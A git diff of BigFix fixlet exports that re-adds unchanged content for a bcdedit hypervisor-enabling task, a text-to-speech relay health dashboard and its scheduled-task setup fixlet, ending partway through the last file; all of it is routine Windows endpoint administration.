--- a/Sites/Windows Management/Fixlets/Fixlets/BCDedit Hypervisor Command (24885).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/BCDedit Hypervisor Command (24885).bes	
@@ -1,52 +1,52 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : BCDedit Hypervisor Command
-  ID       : 24885
-  Author   : FrozenWaltDisney
-  Domain   : BESC
-  Imported : 2018-01-15T11:27:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>BCDedit Hypervisor Command</Title>
-    <Description><![CDATA[<P>RUNS command</P>
-<P>bcdedit /set hypervisorlaunchtype auto</P>
-<P>&nbsp;</P>
-<P>For user on 64bit systems</P>
-<P> EDIT: Please note that powershell is not required. instead you can use "waithidden" with the command to make this function. You however do still need to have the wow redirection for 64bit.</p>]]></Description>
-    <Relevance>true</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2018-01-12</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 Jan 2018 19:24:21 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-delete __createfile
-createfile until END_OF_FILE
-
-cmd /c &quot;bcdedit /set hypervisorlaunchtype auto&quot;
-
-
-END_OF_FILE
-
-delete tmvmstart.ps1
-move __createfile tmvmstart.ps1
-
-override run
-runas=agent
-run { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -windowstyle hidden -File tmvmstart.ps1
-</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : BCDedit Hypervisor Command
+  ID       : 24885
+  Author   : FrozenWaltDisney
+  Domain   : BESC
+  Imported : 2018-01-15T11:27:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>BCDedit Hypervisor Command</Title>
+    <Description><![CDATA[<P>RUNS command</P>
+<P>bcdedit /set hypervisorlaunchtype auto</P>
+<P>&nbsp;</P>
+<P>For user on 64bit systems</P>
+<P> EDIT: Please note that powershell is not required. instead you can use "waithidden" with the command to make this function. You however do still need to have the wow redirection for 64bit.</p>]]></Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-01-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 Jan 2018 19:24:21 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+delete __createfile
+createfile until END_OF_FILE
+
+cmd /c &quot;bcdedit /set hypervisorlaunchtype auto&quot;
+
+
+END_OF_FILE
+
+delete tmvmstart.ps1
+move __createfile tmvmstart.ps1
+
+override run
+runas=agent
+run { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -windowstyle hidden -File tmvmstart.ps1
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard (6218).bes b/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard (6218).bes
index 1f1f35ed8..cff08b059 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard (6218).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard (6218).bes	
@@ -1,153 +1,153 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : BigSpeak Audio Health Dashboard
-  ID       : 6218
-  Author   : menglish
-  Domain   : BES
-  Imported : 2015-09-29T04:20:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>BigSpeak Audio Health Dashboard</Title>
-    <Description><![CDATA[<P><STRONG><FONT size=4>BigSpeak&nbsp;Audio Health Dashboard </FONT></STRONG></P><SPAN lang=EN>
-<P dir=ltr align=left>The BigSpeak Audio Health Dashboard enables Text To Speech (TTS) to notify operators of the current health status of their Bigfix environment.<BR>This example only provides part of the ‘BES Relay Health’ section of the ‘Deployment Health Checks’ dashboard, However you could build out the rest of the dashboard, or utilize this example in a whole different way.</P>
-<P dir=ltr align=left>The Checks that this example will report on are:</P>
-<UL>
-<P dir=ltr align=left>
-<LI>Number of Clients Per BES Relay
-<LI>BES Relay Version
-<LI>BES Relay Service Stopped
-<LI>Download Folders
-<LI>BES Relay Free Disk Space
-<P></P></LI></UL>
-<P dir=ltr align=left>Every hour (by default), the native windows TTS engine will inform you as follows:</P>
-<P dir=ltr align=left>"This is a Bigfix Audio Alert"</P>
-<UL>
-<P dir=ltr align=left>
-<LI>If all 5 health checks pass, you will hear, "The current Bigfix status is ALL CLEAR"
-<P></P>
-<P dir=ltr align=left></P>
-<LI>If one or more of the 5 checks FAIL, you will hear a combination of the following:
-<P></P></LI></UL>
-<DIR>
-<DIR>
-<P dir=ltr align=left>"The current Bigfix status for Number of Clients Per Relay is FAIL"<BR>"The current Bigfix status for Relay Version is WARNING"<BR>"The current Bigfix status for Relay Version is FAIL"<BR>"The current Bigfix status for Relay Service Stopped is FAIL"<BR>"The current Bigfix status for Download Folders is FAIL"<BR>"The current Bigfix status for Relay Disk Space is FAIL"<BR></P></DIR></DIR>
-<P style="MARGIN-RIGHT: 0px" dir=ltr align=left><STRONG>There are two tasks which are needed:</STRONG></P>
-<OL>
-<P dir=ltr align=left>
-<LI>BigSpeakAudio Health Dashboard Scheduled Task Setup v1.0
-<LI>BigSpeak Audio Health Dashboard
-<P style="MARGIN-RIGHT: 0px" dir=ltr align=left>&nbsp;</P></LI></OL><B>
-<P dir=ltr align=left>Initial Setup:</P></B>
-<P dir=ltr align=left>Note: This has only been tested on Windows 7.</P>
-<OL>
-<P dir=ltr align=left>
-<LI>Copy the ‘IEM CLI’ folder from your Bigfix server to a location on your windows 7 machine. The default location is: <I>C:\Program Files (x86)\BigFix Enterprise\BES Server\IEM CLI
-<P></P></I>
-<P dir=ltr align=left></P>
-<LI>Since this is the first time utilizing the IEM CLI, you will have to manually authenticate from the Windows 7 endpoint in order to trust the security certificate.
-<P></P>
-<OL type=a>
-<P dir=ltr align=left>
-<LI>From the windows command line browse to the iem.exe and type, "iem login"
-<LI>You will have to provide your operator credentials, then it will ask you to trust the certificate.</LI></OL></LI></OL>
-<P><B>Deploy: BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0</P>
-<OL></B>
-<P dir=ltr align=left>
-<LI>On the ‘Description’ Tab, this task will ask for the following:
-<OL>
-<LI>The IEM Server Operator Name
-<LI>The IEM Server Operator Password
-<LI>The windows account name that will be used to execute the scheduled task
-<LI>The windows account password that will be used to execute the scheduled task<BR></LI></OL>
-<P></P>
-<P dir=ltr align=left></P>
-<LI>Two action parameters will also ask for input:
-<OL>
-<LI>The path to the IEM Command Line
-<LI>The IP Address or hostname of the Bigfix Reporting Server</SPAN><SPAN lang=EN><BR></LI></OL>
-<P></P>
-<P dir=ltr align=left></P>
-<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator<BR>
-<P></P>
-<P dir=ltr align=left></P>
-<LI>Upon completion, the scheduled task "BFAudio_HealthCheck" will have been created that will run every hour by default.</LI></OL>
-<P><B>Deploy: BigSpeak Audio Health Dashboard (This Task)</P>
-<OL></B>
-<P dir=ltr align=left>
-<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator
-<OL>
-<LI>Note: Speakers must be turned on for this to work.</LI></OL>
-<P></P></LI></OL>
-<P><STRONG><EM>NOTE: This task will run as a policy. It will become relevant when the file ‘bread.crumb’ exist which is created by the scheduled taks every hour.</EM></STRONG></P></SPAN>]]></Description>
-    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
-    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
-    <Relevance>exist file &quot;c:\BFAudio\Bread.Crumb&quot;</Relevance>
-    <Category>IEM Maintenance</Category>
-    <Source>mike.english@us.ibm.com</Source>
-    <SourceReleaseDate>2015-09-29</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 29 Sep 2015 11:14:57 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {exist file "c:\BFAudio\Bread.Crumb"}
-	delete __appendfile
-	appendfile {concatenation "%0d%0a" of (preceding texts of firsts "</Answer>" of (following texts of firsts "<Answer type=%22string%22>" of (lines of files whose (last 3 of name of it = "txt") of folder "c:\BFAudio")))}
-	delete "C:\BFAudio\BFAudio.tts"
-	copy __appendfile "c:\BFAudio\BFAudio.tts"
-	delete "C:\BFAudio\Bread.Crumb"
-endif
-
-delete __createfile
-delete "c:\BFAudio\tts.vbs"
-createfile until TTS
-'tts.vbs
-set t = CreateObject("SAPI.SpVoice")
-t.Speak Wscript.Arguments(0), 3
-t.WaitUntilDone(4500)
-TTS
-move __createfile "c:\BFAudio\tts.vbs"
-
-if {exist file "c:\BFAudio\BFAudio.tts"}
-wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "This is a bigfix audio alert"
-//ALL CLEAR
-	 if {not disjunction of (it contains ":WARN" OR it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
-		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status is,,all clear"
-	 endif
-//Number of Clients Per BES Relay
-	 if {disjunction of (it contains "Number of Clients Per BES Relay" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
-		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Number of Clients Per Relay is,,FAIL"
-	 endif
-//BES Relay Version
-	 if {disjunction of (it contains "BES Relay Version" AND it contains ":WARN") of lines of file "c:\BFAudio\bfaudio.tts"}
-		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Versions is,,WARNING"
-	 elseif {disjunction of (it contains "BES Relay Version" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
-		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Versions is,,FAIL"
-	 endif
-//BES Relay Service Stopped
-	 if {disjunction of (it contains "BES Relay Service Stopped" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
-		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Service Stopped is,,FAIL"
-	 endif
-//Download Folders
-	 if {disjunction of (it contains "Download Folders" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
-		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Download Folders is,,FAIL"
-	 endif
-//BES Relay Free Disk Space
-	 if {disjunction of (it contains "BES Relay Free Disk Space" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
-		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Disk Space is,,FAIL"
-	 endif
-
-endif]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : BigSpeak Audio Health Dashboard
+  ID       : 6218
+  Author   : menglish
+  Domain   : BES
+  Imported : 2015-09-29T04:20:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>BigSpeak Audio Health Dashboard</Title>
+    <Description><![CDATA[<P><STRONG><FONT size=4>BigSpeak&nbsp;Audio Health Dashboard </FONT></STRONG></P><SPAN lang=EN>
+<P dir=ltr align=left>The BigSpeak Audio Health Dashboard enables Text To Speech (TTS) to notify operators of the current health status of their Bigfix environment.<BR>This example only provides part of the ‘BES Relay Health’ section of the ‘Deployment Health Checks’ dashboard, However you could build out the rest of the dashboard, or utilize this example in a whole different way.</P>
+<P dir=ltr align=left>The Checks that this example will report on are:</P>
+<UL>
+<P dir=ltr align=left>
+<LI>Number of Clients Per BES Relay
+<LI>BES Relay Version
+<LI>BES Relay Service Stopped
+<LI>Download Folders
+<LI>BES Relay Free Disk Space
+<P></P></LI></UL>
+<P dir=ltr align=left>Every hour (by default), the native windows TTS engine will inform you as follows:</P>
+<P dir=ltr align=left>"This is a Bigfix Audio Alert"</P>
+<UL>
+<P dir=ltr align=left>
+<LI>If all 5 health checks pass, you will hear, "The current Bigfix status is ALL CLEAR"
+<P></P>
+<P dir=ltr align=left></P>
+<LI>If one or more of the 5 checks FAIL, you will hear a combination of the following:
+<P></P></LI></UL>
+<DIR>
+<DIR>
+<P dir=ltr align=left>"The current Bigfix status for Number of Clients Per Relay is FAIL"<BR>"The current Bigfix status for Relay Version is WARNING"<BR>"The current Bigfix status for Relay Version is FAIL"<BR>"The current Bigfix status for Relay Service Stopped is FAIL"<BR>"The current Bigfix status for Download Folders is FAIL"<BR>"The current Bigfix status for Relay Disk Space is FAIL"<BR></P></DIR></DIR>
+<P style="MARGIN-RIGHT: 0px" dir=ltr align=left><STRONG>There are two tasks which are needed:</STRONG></P>
+<OL>
+<P dir=ltr align=left>
+<LI>BigSpeakAudio Health Dashboard Scheduled Task Setup v1.0
+<LI>BigSpeak Audio Health Dashboard
+<P style="MARGIN-RIGHT: 0px" dir=ltr align=left>&nbsp;</P></LI></OL><B>
+<P dir=ltr align=left>Initial Setup:</P></B>
+<P dir=ltr align=left>Note: This has only been tested on Windows 7.</P>
+<OL>
+<P dir=ltr align=left>
+<LI>Copy the ‘IEM CLI’ folder from your Bigfix server to a location on your windows 7 machine. The default location is: <I>C:\Program Files (x86)\BigFix Enterprise\BES Server\IEM CLI
+<P></P></I>
+<P dir=ltr align=left></P>
+<LI>Since this is the first time utilizing the IEM CLI, you will have to manually authenticate from the Windows 7 endpoint in order to trust the security certificate.
+<P></P>
+<OL type=a>
+<P dir=ltr align=left>
+<LI>From the windows command line browse to the iem.exe and type, "iem login"
+<LI>You will have to provide your operator credentials, then it will ask you to trust the certificate.</LI></OL></LI></OL>
+<P><B>Deploy: BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0</P>
+<OL></B>
+<P dir=ltr align=left>
+<LI>On the ‘Description’ Tab, this task will ask for the following:
+<OL>
+<LI>The IEM Server Operator Name
+<LI>The IEM Server Operator Password
+<LI>The windows account name that will be used to execute the scheduled task
+<LI>The windows account password that will be used to execute the scheduled task<BR></LI></OL>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Two action parameters will also ask for input:
+<OL>
+<LI>The path to the IEM Command Line
+<LI>The IP Address or hostname of the Bigfix Reporting Server</SPAN><SPAN lang=EN><BR></LI></OL>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator<BR>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Upon completion, the scheduled task "BFAudio_HealthCheck" will have been created that will run every hour by default.</LI></OL>
+<P><B>Deploy: BigSpeak Audio Health Dashboard (This Task)</P>
+<OL></B>
+<P dir=ltr align=left>
+<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator
+<OL>
+<LI>Note: Speakers must be turned on for this to work.</LI></OL>
+<P></P></LI></OL>
+<P><STRONG><EM>NOTE: This task will run as a policy. It will become relevant when the file ‘bread.crumb’ exist which is created by the scheduled taks every hour.</EM></STRONG></P></SPAN>]]></Description>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
+    <Relevance>exist file &quot;c:\BFAudio\Bread.Crumb&quot;</Relevance>
+    <Category>IEM Maintenance</Category>
+    <Source>mike.english@us.ibm.com</Source>
+    <SourceReleaseDate>2015-09-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 29 Sep 2015 11:14:57 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {exist file "c:\BFAudio\Bread.Crumb"}
+	delete __appendfile
+	appendfile {concatenation "%0d%0a" of (preceding texts of firsts "</Answer>" of (following texts of firsts "<Answer type=%22string%22>" of (lines of files whose (last 3 of name of it = "txt") of folder "c:\BFAudio")))}
+	delete "C:\BFAudio\BFAudio.tts"
+	copy __appendfile "c:\BFAudio\BFAudio.tts"
+	delete "C:\BFAudio\Bread.Crumb"
+endif
+
+delete __createfile
+delete "c:\BFAudio\tts.vbs"
+createfile until TTS
+'tts.vbs
+set t = CreateObject("SAPI.SpVoice")
+t.Speak Wscript.Arguments(0), 3
+t.WaitUntilDone(4500)
+TTS
+move __createfile "c:\BFAudio\tts.vbs"
+
+if {exist file "c:\BFAudio\BFAudio.tts"}
+wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "This is a bigfix audio alert"
+//ALL CLEAR
+	 if {not disjunction of (it contains ":WARN" OR it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status is,,all clear"
+	 endif
+//Number of Clients Per BES Relay
+	 if {disjunction of (it contains "Number of Clients Per BES Relay" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Number of Clients Per Relay is,,FAIL"
+	 endif
+//BES Relay Version
+	 if {disjunction of (it contains "BES Relay Version" AND it contains ":WARN") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Versions is,,WARNING"
+	 elseif {disjunction of (it contains "BES Relay Version" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Versions is,,FAIL"
+	 endif
+//BES Relay Service Stopped
+	 if {disjunction of (it contains "BES Relay Service Stopped" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Service Stopped is,,FAIL"
+	 endif
+//Download Folders
+	 if {disjunction of (it contains "Download Folders" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Download Folders is,,FAIL"
+	 endif
+//BES Relay Free Disk Space
+	 if {disjunction of (it contains "BES Relay Free Disk Space" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Disk Space is,,FAIL"
+	 endif
+
+endif]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (6217).bes b/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (6217).bes
index 894ff353b..57dd0752d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (6217).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (6217).bes	
@@ -1,150 +1,150 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0
-  ID       : 6217
-  Author   : menglish
-  Domain   : BES
-  Imported : 2015-09-29T04:19:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0</Title>
-    <Description><![CDATA[<P><STRONG><FONT size=3>Action&nbsp;Parameters:</FONT></STRONG></P>
-<P>&nbsp;<INPUT onfocus="if (this.value == 'OP Name') {this.value = '';}" onblur="if (this.value == '') {this.value = 'OP Name';}" id=RemoteOP title="Enter the Exporting IEM Server Operator Name" value="OP Name" name=RemoteOP>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the&nbsp;IEM Server Operator Name<BR>&nbsp;<INPUT id=RemoteOPPass title="Enter the Exporting IEM Server Operator Password" type=password name=RemoteOPPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the&nbsp;IEM Server Operator Password&nbsp;<BR>&nbsp;<INPUT onfocus="if (this.value == 'bigfix\administrator') {this.value = '';}" onblur="if (this.value == '') {this.value = 'bigfix\administrator';}" id=TaskAdmin title="Enter the account to run the scheduled task" value=bigfix\administrator name=TaskAdmin>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the account name to run the scheduled task<BR>&nbsp;<INPUT id=TaskPass title="Enter the account password to run the scheduled task" type=password name=TaskPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the account password to run the scheduled task<BR><script>
-			document.body.ontakeaction = function() {
-				var theRemoteOP = document.getElementById( "RemoteOP" ).value;
-				var theRemoteOPPass = document.getElementById( "RemoteOPPass" ).value;
-				var theTaskAdmin = document.getElementById( "TaskAdmin" ).value;
-				var theTaskPass = document.getElementById( "TaskPass" ).value;
-				TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { RemoteOP: theRemoteOP , RemoteOPPass: theRemoteOPPass , TaskAdmin: theTaskAdmin , TaskPass: theTaskPass } );
-				return false;
-			}
-			</script><BR><STRONG>_____________________________________________________________________________________________________</STRONG> </P>
-<P><STRONG><FONT size=4>BigSpeak Audio Health Dashboard </FONT></STRONG></P><SPAN lang=EN>
-<P dir=ltr align=left>The BigSpeak Audio Health Dashboard enables Text To Speech (TTS) to notify operators of the current health status of their Bigfix environment.<BR>This example only provides part of the ‘BES Relay Health’ section of the ‘Deployment Health Checks’ dashboard, However you could build out the rest of the dashboard, or utilize this example in a whole different way.</P>
-<P dir=ltr align=left>The Checks that this example will report on are:</P>
-<UL>
-<P dir=ltr align=left>
-<LI>Number of Clients Per BES Relay
-<LI>BES Relay Version
-<LI>BES Relay Service Stopped
-<LI>Download Folders
-<LI>BES Relay Free Disk Space
-<P></P></LI></UL>
-<P dir=ltr align=left>Every hour (by default), the native windows TTS engine will inform you as follows:</P>
-<P dir=ltr align=left>"This is a Bigfix Audio Alert"</P>
-<UL>
-<P dir=ltr align=left>
-<LI>If all 5 health checks pass, you will hear, "The current Bigfix status is ALL CLEAR"
-<P></P>
-<P dir=ltr align=left></P>
-<LI>If one or more of the 5 checks FAIL, you will hear a combination of the following:
-<P></P></LI></UL>
-<DIR>
-<DIR>
-<P dir=ltr align=left>"The current Bigfix status for Number of Clients Per Relay is FAIL"<BR>"The current Bigfix status for Relay Version is WARNING"<BR>"The current Bigfix status for Relay Version is FAIL"<BR>"The current Bigfix status for Relay Service Stopped is FAIL"<BR>"The current Bigfix status for Download Folders is FAIL"<BR>"The current Bigfix status for Relay Disk Space is FAIL"<BR></P></DIR></DIR>
-<P style="MARGIN-RIGHT: 0px" dir=ltr align=left><STRONG>There are two tasks which are needed:</STRONG></P>
-<OL>
-<P dir=ltr align=left>
-<LI>BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (This TASK)
-<LI>BigSpeak Audio Health Dashboard </LI></OL><B>
-<P dir=ltr align=left>Initial Setup:</P></B>
-<P dir=ltr align=left>Note: This has only been tested on Windows 7.</P>
-<OL>
-<P dir=ltr align=left>
-<LI>Copy the ‘IEM CLI’ folder from your Bigfix server to a location on your windows 7 machine. The default location is: <I>C:\Program Files (x86)\BigFix Enterprise\BES Server\IEM CLI
-<P></P></I>
-<P dir=ltr align=left></P>
-<LI>Since this is the first time utilizing the IEM CLI, you will have to manually authenticate from the Windows 7 endpoint in order to trust the security certificate.
-<P></P>
-<OL type=a>
-<P dir=ltr align=left>
-<LI>From the windows command line browse to the iem.exe and type, "iem login"
-<LI>You will have to provide your operator credentials, then it will ask you to trust the certificate.</LI></OL></LI></OL>
-<P><B>Deploy: BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0</P>
-<OL></B>
-<P dir=ltr align=left>
-<LI>On the ‘Description’ Tab, this task will ask for the following:
-<OL>
-<LI>The IEM Server Operator Name
-<LI>The IEM Server Operator Password
-<LI>The windows account name that will be used to execute the scheduled task
-<LI>The windows account password that will be used to execute the scheduled task<BR></LI></OL>
-<P></P>
-<P dir=ltr align=left></P>
-<LI>Two action parameters will also ask for input:
-<OL>
-<LI>The path to the IEM Command Line
-<LI>The IP Address or hostname of the Bigfix Reporting Server</SPAN><SPAN lang=EN><BR></LI></OL>
-<P></P>
-<P dir=ltr align=left></P>
-<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator<BR>
-<P></P>
-<P dir=ltr align=left></P>
-<LI>Upon completion, the scheduled task "BFAudio_HealthCheck" will have been created that will run every hour by default.</LI></OL>
-<P><B>Deploy: BigSpeak Audio Health Dashboard</P>
-<OL></B>
-<P dir=ltr align=left>
-<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator
-<OL>
-<LI>Note: Speakers must be turned on for this to work.</LI></OL></LI></OL></SPAN>]]></Description>
-    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
-    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
-    <Category>IEM Maintenance</Category>
-    <Source>mike.english@us.ibm.com</Source>
-    <SourceReleaseDate>2015-09-29</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 29 Sep 2015 11:16:36 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
